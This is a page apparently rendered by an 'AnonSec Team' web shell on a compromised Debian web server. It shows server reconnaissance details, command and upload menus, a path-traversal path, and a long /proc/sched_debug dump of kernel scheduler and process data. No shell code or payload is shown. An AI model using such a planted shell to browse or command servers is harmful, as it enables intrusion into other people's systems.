AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.189
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /etc/python/../python3/../php/../python/../.java/../python/../python/../../tmp/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //etc/python/../python3/../php/../python/../.java/../python/../python/../../tmp/../proc/sched_debug
Sched Debug Version: v0.11, 4.19.0-27-amd64 #1
ktime                                   : 8473734944.535571
sched_clk                               : 8473654390.986847
cpu_clk                                 : 8473734999.894010
jiffies                                 : 6413325927
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 4118331
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 3192.608 MHz
  .nr_running                    : 1
  .load                          : 1048576
  .nr_switches                   : 4305038759
  .nr_load_updates               : 1112200993
  .nr_uninterruptible            : 32360
  .next_balance                  : 6413.325921
  .curr->pid                     : 20208
  .clock                         : 8473734998.923596
  .clock_task                    : 8473734998.923596
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 1
  .cpu_load[4]                   : 4
  .avg_idle                      : 1045412
  .max_idle_balance_cost         : 522706

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 976602062.204691
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 2
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 53
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I         rcu_gp     3 650135127.371544         4   100         0.000000         0.013452         0.000000 0 0 /
 I     rcu_par_gp     4         9.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 I   kworker/0:0H     6      2390.025339         4   100         0.000000         0.017896         0.000000 0 0 /
 S    ksoftirqd/0     9 976602055.346612  62178570   120         0.000000   3220165.765500         0.000000 0 0 /
 I         rcu_bh    11        22.019070         2   120         0.000000         0.000000         0.000000 0 0 /
 S    migration/0    12        24.019069   2250667     0         0.000000     30966.595106         0.000000 0 0 /
 S        cpuhp/0    14      4620.004522        12   120         0.000000         0.641040         0.000000 0 0 /
 S      kdevtmpfs    20      4173.017671       136   120         0.000000         7.696200         0.000000 0 0 /
 S        kauditd    22      4037.220049         5   120         0.000000         0.050820         0.000000 0 0 /
 S     khungtaskd    24 976601330.981495     70135   120         0.000000      4326.467856         0.000000 0 0 /
 S     oom_reaper    25        51.019905         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback    26        55.019904         2   100         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    28        57.019902         2   125         0.000000         0.000000         0.000000 0 0 /
 S     khugepaged    29 976601983.376731    866381   139         0.000000    210654.268302         0.000000 0 0 /
 I        kblockd    32        57.019902         2   100         0.000000         0.000000         0.000000 0 0 /
 I     devfreq_wq    34        57.022863         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd    35         0.000000         2     0         0.000000         0.000000         0.000000 0 0 /
 I          kstrp    65       733.710618         2   100         0.000000         0.030294         0.000000 0 0 /
 I   hv_vmbus_con   104       972.537384         2   100         0.000000         0.004489         0.000000 0 0 /
 I    hv_sub_chan   108       989.333867         2   100         0.000000         0.004737         0.000000 0 0 /
 S      scsi_eh_0   113      2361.127993        10   120         0.000000      1137.936816         0.000000 0 0 /
 S      scsi_eh_1   116      4309.753207        47   120         0.000000      1047.710687         0.000000 0 0 /
 S      scsi_eh_2   166      2370.701109         2   120         0.000000         0.007498         0.000000 0 0 /
 I   kworker/0:1H   171 976601985.483296  11697511   100         0.000000    221712.424016         0.000000 0 0 /
 I   kworker/u5:0   203      2583.089514         2   100         0.000000         0.112893         0.000000 0 0 /
 Iext4-rsv-conver   206      2731.480350         2   100         0.000000         0.227546         0.000000 0 0 /
 Ssystemd-journal   234 976601463.921505    309314   120         0.000000    156957.241797         0.000000 0 0 /
 I        xprtiod   261      3477.051876         2   100         0.000000         0.010856         0.000000 0 0 /
 Ssystemd-timesyn   309 976600418.774955     79640   120         0.000000     16396.194844         0.000000 0 0 /
 S     hv_balloon   330 976602010.224120   8276974   120         0.000000    249770.754603         0.000000 0 0 /
 S           cron   417 976602001.157219    156510   120         0.000000     24024.195918         0.000000 0 0 /
 S    in:imuxsock   424 976599393.436742    122616   120         0.000000     15330.560473         0.000000 0 0 /
 S      in:imklog   425 976505526.858760       179   120         0.000000        14.768975         0.000000 0 0 /
 S  rs:main Q:Reg   426 976599393.571883    121907   120         0.000000     16732.728727         0.000000 0 0 /
 S     irqbalance   420 976601986.243547    853149   120         0.000000    264597.017973         0.000000 0 0 /
 S          gmain   427      4751.857620         1   120         0.000000         0.073029         0.000000 0 0 /
 S    dbus-daemon   421 976602055.520048  10543586   120         0.000000   2855097.771782         0.000000 0 0 /
 S          gmain   593      5926.461464         1   120         0.000000         0.064232         0.000000 0 0 /
 S           sshd   484 976599393.465514    186203   120         0.000000     50069.751409         0.000000 0 0 /
 S         mysqld   582 976601635.466494    360662   120         0.000000     17558.220895         0.000000 0 0 /
 S         mysqld   601 976602055.358247  17053914   120         0.000000    668720.057689         0.000000 0 0 /
 S         mysqld   602 976602014.512829  16947909   120         0.000000    692883.829027         0.000000 0 0 /
 S         mysqld   604 976602014.524328  16947878   120         0.000000    682220.787078         0.000000 0 0 /
 S         mysqld   605 976602055.361555  16947802   120         0.000000    683348.708379         0.000000 0 0 /
 S         mysqld   606 976602055.361176  17011599   120         0.000000    663203.465928         0.000000 0 0 /
 S         mysqld   610 976602010.232200  10600017   120         0.000000    472902.604429         0.000000 0 0 /
 S         mysqld   617 976602055.377908   1695417   120         0.000000     80860.716350         0.000000 0 0 /
 S         mysqld   618 976601909.048696    847935   120         0.000000     38859.219766         0.000000 0 0 /
 S         mysqld   622 976484468.694473   2482684   120         0.000000     39600.864250         0.000000 0 0 /
 S         mysqld   624 976484468.695421   2344070   120         0.000000     67651.940914         0.000000 0 0 /
 S         mysqld   625      7415.419799       709   120         0.000000       436.179395         0.000000 0 0 /
 S         mysqld   627      6099.633246         1   120         0.000000         1.352528         0.000000 0 0 /
 S         mysqld   630      6162.642042        23   120         0.000000        11.522976         0.000000 0 0 /
 S         mysqld  7742 976602006.668912  33877528   120         0.000000   7508998.792117         0.000000 0 0 /
 S         mysqld 28715 976602015.745398  26692487   120         0.000000   7379088.976362         0.000000 0 0 /
 S         mysqld 11721 976602006.787154  26147486   120         0.000000   6325861.370602         0.000000 0 0 /
 S         mysqld 25607 976602014.823529  12140909   120         0.000000   2613746.886559         0.000000 0 0 /
 S         mysqld 27068 976602011.306269  12020349   120         0.000000   1920197.580970         0.000000 0 0 /
 S         mysqld 16985 976602010.621129   6997047   120         0.000000   1056550.950597         0.000000 0 0 /
 S          gdbus 13877 976601620.230645   2169646   120         0.000000    578491.746638         0.000000 0 0 /
 S     php-fpm7.0 30976 976602010.232784   8555190   120         0.000000    482513.549962         0.000000 0 0 /
 S     php-fpm7.3 30991 130367339.609518         4   120         0.000000         2.722651         0.000000 0 0 /
 Sdefault-executo 26272 344566173.570913         3   120         0.000000         0.792552         0.000000 0 0 /
 Sresolver-execut 26284 344567979.615314         1   120         0.000000         0.046661         0.000000 0 0 /
 Sgrpc_global_tim 26285 976602014.546067   6575970   120         0.000000    377759.808308         0.000000 0 0 /
 S     php-fpm8.2 25953 344485440.965621     20674   120         0.000000     11874.434491         0.000000 0 0 /
 S     php-fpm8.2 26011 344487534.073014      7851   120         0.000000      7632.015485         0.000000 0 0 /
 Sresolver-execut 26291 344569030.840288         1   120         0.000000         0.086352         0.000000 0 0 /
 S     php-fpm7.4 29853 976602055.444848   5997546   120         0.000000    284794.110985         0.000000 0 0 /
 S     php-fpm7.4 31441 674475328.458942     22521   120         0.000000     15672.975589         0.000000 0 0 /
 S     php-fpm7.4 32723 674472271.915460      8668   120         0.000000      6839.683567         0.000000 0 0 /
 S     php-fpm7.0  3049 976593994.457468     41040   120         0.000000     28590.914081         0.000000 0 0 /
 I    kworker/0:0 10940 976602056.215249     81700   120         0.000000      1686.424516         0.000000 0 0 /
>R     php-fpm5.6 20208 976602057.966641    119451   120         0.000000     36106.451306         0.000000 0 0 /
 I    kworker/0:1 20940 976576835.368457         3   120         0.000000         0.041484         0.000000 0 0 /
 S        apache2 21349 976602057.202233      1486   120         0.000000       345.003233         0.000000 0 0 /
 Z        apache2 21365 976602062.204691       309   120         0.000000        58.844905         0.000000 0 0 /
 S        apache2 21392 976602011.002170        60   120         0.000000        15.251026         0.000000 0 0 /
 S        apache2 21395 976601985.034507        76   120         0.000000        23.985347         0.000000 0 0 /
 S        apache2 21399 976602061.327752        75   120         0.000000        55.075860         0.000000 0 0 /
 S        apache2 21405 976602016.517370        87   120         0.000000        36.295176         0.000000 0 0 /
 S        apache2 21407 976601981.071644        50   120         0.000000         6.681068         0.000000 0 0 /
 S        apache2 21410 976601985.823280       130   120         0.000000        51.926103         0.000000 0 0 /

cpu#1, 3192.608 MHz
  .nr_running                    : 2
  .load                          : 2097152
  .nr_switches                   : 4113574105
  .nr_load_updates               : 1083307191
  .nr_uninterruptible            : -32360
  .next_balance                  : 6413.325917
  .curr->pid                     : 21310
  .clock                         : 8473735000.540262
  .clock_task                    : 8473735000.540262
  .cpu_load[0]                   : 1
  .cpu_load[1]                   : 1
  .cpu_load[2]                   : 1
  .cpu_load[3]                   : 1
  .cpu_load[4]                   : 1
  .avg_idle                      : 896218
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1003272181.584488
  .min_vruntime                  : 1003272181.584488
  .max_vruntime                  : 1003272181.584488
  .spread                        : 0.000000
  .spread0                       : 26670119.379797
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2097152
  .runnable_weight               : 2097152
  .load_avg                      : 123
  .runnable_load_avg             : 40
  .util_avg                      : 53
  .util_est_enqueued             : 42
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1 1003272175.533435   6614332   120         0.000000   2203988.987064         0.000000 0 0 /
 S       kthreadd     2 1003268454.732755     31396   120         0.000000      2322.829570         0.000000 0 0 /
 I   mm_percpu_wq     8 964239303.589243        66   100         0.000000         3.839706         0.000000 0 0 /
 I      rcu_sched    10 1003272176.717532 508859693   120         0.000000  15030320.499419         0.000000 0 0 /
 S        cpuhp/1    15      5055.688904        11   120         0.000000         1.917025         0.000000 0 0 /
 S    migration/1    16        34.019063   2246005     0         0.000000     32686.042699         0.000000 0 0 /
 S    ksoftirqd/1    17 1003272174.908115   4182973   120         0.000000    166228.535974         0.000000 0 0 /
 I   kworker/1:0H    19      3119.196613         5   100         0.000000         0.023884         0.000000 0 0 /
 I          netns    21         4.951436         2   100         0.000000         0.000000         0.000000 0 0 /
 S     kcompactd0    27 856676667.921616         8   120         0.000000         3.782253         0.000000 0 0 /
 I         crypto    30         8.977629         3   100         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    31         8.977629         2   100         0.000000         0.000000         0.000000 0 0 /
 I    edac-poller    33       206.113210         2   100         0.000000         0.006091         0.000000 0 0 /
 S        kswapd0    36 1003062352.503593     64797   120         0.000000    116381.917076         0.000000 0 0 /
 I       kthrotld    54      1322.388232         2   100         0.000000         0.057681         0.000000 0 0 /
 I  ipv6_addrconf    55      1363.161308         2   100         0.000000         0.006243         0.000000 0 0 /
 I    hv_pri_chan   105      1659.167437         2   100         0.000000         0.015144         0.000000 0 0 /
 I        ata_sff   111 998740094.127319      1536   100         0.000000      2494.737334         0.000000 0 0 /
 I     scsi_tmf_0   114      1710.116040         2   100         0.000000         0.014815         0.000000 0 0 /
 I     scsi_tmf_1   117      1723.540826         2   100         0.000000         0.027271         0.000000 0 0 /
 I     scsi_tmf_2   167      3047.486298         2   100         0.000000         0.014020         0.000000 0 0 /
 S      scsi_eh_3   169      3069.346918         2   120         0.000000         0.003625         0.000000 0 0 /
 I     scsi_tmf_3   170      3072.350069         2   100         0.000000         0.011306         0.000000 0 0 /
 I   kworker/1:1H   173 1003272024.223780   9258041   100         0.000000    158901.505826         0.000000 0 0 /
 S    jbd2/sda1-8   205 1003272022.248180   7340398   120         0.000000    524368.030546         0.000000 0 0 /
 I         rpciod   260      3865.774870         2   100         0.000000         0.007179         0.000000 0 0 /
 S  systemd-udevd   264 1003270682.109709     71431   120         0.000000     11975.611967         0.000000 0 0 /
 S        rpcbind   298 1003271584.452659    308493   120         0.000000    143957.177768         0.000000 0 0 /
 S     sd-resolve   337     27505.421264        18   120         0.000000        12.650500         0.000000 0 0 /
 S          acpid   418      5172.340139        22   120         0.000000        15.941090         0.000000 0 0 /
 S       rsyslogd   419 1003264505.393403     14239   120         0.000000       616.773988         0.000000 0 0 /
 S systemd-logind   422 1003272175.043835   5301323   120         0.000000    759681.791807         0.000000 0 0 /
 S            atd   423 1003206690.314275      2361   120         0.000000       146.128770         0.000000 0 0 /
 S     php-fpm5.6   459 1003272087.613199   9423276   120         0.000000    786387.248738         0.000000 0 0 /
 Sunattended-upgr   462      6670.925924       747   120         0.000000       718.405461         0.000000 0 0 /
 S         agetty   480      8125.984429        27   120         0.000000        13.157225         0.000000 0 0 /
 S         mysqld   552 1003272088.088637 124040127   120         0.000000   9771558.355085         0.000000 0 0 /
 S         mysqld   578      6521.714906         5   120         0.000000         1.437886         0.000000 0 0 /
 S         mysqld   600 1003272174.934778  16947666   120         0.000000    683600.743765         0.000000 0 0 /
 S         mysqld   603 1003272174.949057  16947768   120         0.000000    686428.335261         0.000000 0 0 /
 S         mysqld   607 1003272174.924084  16975173   120         0.000000    666118.389193         0.000000 0 0 /
 S         mysqld   608 1003272174.927942  16979715   120         0.000000    663052.542965         0.000000 0 0 /
 S         mysqld   609 1003272174.931172  17020279   120         0.000000    663420.989398         0.000000 0 0 /
 S         mysqld   615 1003272174.311890   8475391   120         0.000000    386404.575556         0.000000 0 0 /
 S         mysqld   616 1003272174.961713   8482526   120         0.000000    618055.583363         0.000000 0 0 /
 S         mysqld   619 1003272018.594212   1695419   120         0.000000     80028.877658         0.000000 0 0 /
 S         mysqld   620 1003272087.611917   8677379   120         0.000000    491565.544726         0.000000 0 0 /
 S         mysqld   621 1003140863.687018   5929898   120         0.000000    289672.289238         0.000000 0 0 /
 S         mysqld   623 1003140863.576415   2400284   120         0.000000     35344.179391         0.000000 0 0 /
 S         mysqld   626 1003272087.602409   8473742   120         0.000000    301497.711656         0.000000 0 0 /
 S         mysqld   628      7057.663555         1   120         0.000000         0.460798         0.000000 0 0 /
 S         mysqld   629      7111.610624         1   120         0.000000         0.135015         0.000000 0 0 /
 S         mysqld  7743 1003272081.501844  33947525   120         0.000000   8463170.488256         0.000000 0 0 /
 S         mysqld 11660 1003272081.532889  26166714   120         0.000000   6459635.746623         0.000000 0 0 /
 S         mysqld 25606 1003272081.599068  12181346   120         0.000000   2901129.705958         0.000000 0 0 /
 S         mysqld 16984 1003272083.638852   7092580   120         0.000000   1566394.140501         0.000000 0 0 /
 S         mysqld 16986 1003272087.790425   7036478   120         0.000000   1318038.507124         0.000000 0 0 /
 S   htcacheclean   572 1003272174.923925 136250711   120         0.000000  10693207.649042         0.000000 0 0 /
 S          exim4   958 1003247836.052939      9525   120         0.000000      2633.079214         0.000000 0 0 /
 S        polkitd 13874 1003271738.928853   2076204   120         0.000000    109103.010759         0.000000 0 0 /
 S          gmain 13875  10066817.623760         6   120         0.000000         0.514423         0.000000 0 0 /
 S     php-fpm7.2 30983 1003272174.933931   8560207   120         0.000000    488885.222838         0.000000 0 0 /
 S     php-fpm7.3 30990 1003272174.931870   8554443   120         0.000000    468276.317474         0.000000 0 0 /
 S     php-fpm7.3 30992 125383633.415698         8   120         0.000000         2.432031         0.000000 0 0 /
 S     php-fpm7.0 21981 1003272086.952224   7678329   120         0.000000   3877737.430832         0.000000 0 0 /
 S     php-fpm7.2 21860 1003002959.610003     14521   120         0.000000      7456.050011         0.000000 0 0 /
 Sresolver-execut 26273 339977652.697969         2   120         0.000000         0.066881         0.000000 0 0 /
 Sgrpc_global_tim 26274 1003272174.944703   6575922   120         0.000000    377225.246891         0.000000 0 0 /
 S     php-fpm7.2 21861 1003008094.030040     10911   120         0.000000      6443.213654         0.000000 0 0 /
 Sdefault-executo 26283 339978342.331995         1   120         0.000000         0.021689         0.000000 0 0 /
 S     php-fpm8.2 25950 1003272087.611633   7227470   120         0.000000    388258.379498         0.000000 0 0 /
 S     php-fpm8.2 25954 339855325.912453     19993   120         0.000000     11499.240206         0.000000 0 0 /
 S     php-fpm7.2 26287 1003144477.684333      9873   120         0.000000      7444.463519         0.000000 0 0 /
 Sdefault-executo 26290 339979579.146474         1   120         0.000000         0.018281         0.000000 0 0 /
 Sgrpc_global_tim 26292 1003272082.221865   6575912   120         0.000000    374178.557275         0.000000 0 0 /
 S     php-fpm7.4 32705 692571163.927595      8852   120         0.000000      6242.781657         0.000000 0 0 /
 S     php-fpm7.0 31308 1003265700.182032     50941   120         0.000000     34490.519756         0.000000 0 0 /
 S     php-fpm7.0  3664 1003264607.424361     41839   120         0.000000     28441.089255         0.000000 0 0 /
 S        apache2 26404 1003272175.168331     46847   120         0.000000     25049.417510         0.000000 0 0 /
 S        apache2 26405 1003272087.650170     13135   120         0.000000       542.721590         0.000000 0 0 /
 I   kworker/u4:0 15764 1003272054.608628      2586   120         0.000000       288.734017         0.000000 0 0 /
 I   kworker/u4:2 16085 1003066566.931669         2   120         0.000000         0.016197         0.000000 0 0 /
>R     php-fpm5.6 21018 1003272181.584488     63334   120         0.000000     19006.336431         0.000000 0 0 /
 I    kworker/1:2 21066 1003272089.954255      3136   120         0.000000       451.469998         0.000000 0 0 /
 I    kworker/1:0 21185 1003268461.408614      1014   120         0.000000       151.665523         0.000000 0 0 /
 S     php-fpm5.6 21259 1003272180.903116     20348   120         0.000000      4927.998960         0.000000 0 0 /
 S        apache2 21306 1003272174.906968       901   120         0.000000       213.857827         0.000000 0 0 /
 S        apache2 21310 1003272175.788964      3109   120         0.000000       643.822846         0.000000 0 0 /
 I    kworker/1:1 21312 1003272174.915167      1143   120         0.000000       132.882382         0.000000 0 0 /
 S        apache2 21319 1003272174.906428       911   120         0.000000       415.082908         0.000000 0 0 /
 S        apache2 21336 1003272174.906627       485   120         0.000000        89.166833         0.000000 0 0 /
 S        apache2 21358 1003272174.905986       371   120         0.000000        62.987005         0.000000 0 0 /
 S        apache2 21366 1003272174.906142       233   120         0.000000        49.820172         0.000000 0 0 /
 S        apache2 21370 1003272174.905920       270   120         0.000000        32.437625         0.000000 0 0 /
 S        apache2 21373 1003272174.906753       215   120         0.000000        36.407529         0.000000 0 0 /
 S        apache2 21375 1003272174.906052       339   120         0.000000        75.683055         0.000000 0 0 /
 S        apache2 21379 1003272174.906052       291   120         0.000000        31.978151         0.000000 0 0 /
 S        apache2 21382 1003272174.906203       154   120         0.000000        26.338847         0.000000 0 0 /
 S        apache2 21385 1003272174.906143       206   120         0.000000        69.019570         0.000000 0 0 /
 S        apache2 21386 1003272174.906020        73   120         0.000000        17.009389         0.000000 0 0 /
 S        apache2 21387 1003272176.568553       123   120         0.000000        24.618072         0.000000 0 0 /
 S        apache2 21388 1003272174.928576        99   120         0.000000         9.197480         0.000000 0 0 /
 S        apache2 21391 1003272174.905561        77   120         0.000000        10.269881         0.000000 0 0 /
 S        apache2 21393 1003272174.905599       136   120         0.000000        15.152265         0.000000 0 0 /
 S        apache2 21397 1003272174.906398        96   120         0.000000         7.066188         0.000000 0 0 /
 S        apache2 21398 1003272174.905879        59   120         0.000000         7.278870         0.000000 0 0 /
 S        apache2 21400 1003272022.978003       103   120         0.000000         6.632528         0.000000 0 0 /
 S        apache2 21401 1003272174.906007        65   120         0.000000         9.570625         0.000000 0 0 /
 S        apache2 21402 1003272174.906028        60   120         0.000000         7.091276         0.000000 0 0 /
 S        apache2 21403 1003272174.905954        94   120         0.000000         4.621601         0.000000 0 0 /
 S        apache2 21404 1003272174.906142        62   120         0.000000        14.116075         0.000000 0 0 /
 S        apache2 21406 1003272174.906418        64   120         0.000000         9.895822         0.000000 0 0 /
 S        apache2 21409 1003272174.909897       112   120         0.000000         6.487691         0.000000 0 0 /
 S        apache2 21411 1003272174.906279        68   120         0.000000         5.117043         0.000000 0 0 /
 S        apache2 21413 1003272174.905942        79   120         0.000000         7.805556         0.000000 0 0 /
 S        apache2 21414 1003272181.196521       151   120         0.000000        27.846816         0.000000 0 0 /
 S        apache2 21415 1003272174.906150        68   120         0.000000         4.061506         0.000000 0 0 /
 S        apache2 21416 1003272026.930765        59   120         0.000000         5.836383         0.000000 0 0 /
 S        apache2 21418 1003272174.906754        74   120         0.000000         3.901108         0.000000 0 0 /
 S        apache2 21420 1003272025.497195        92   120         0.000000         5.428872         0.000000 0 0 /


AnonSec - 2021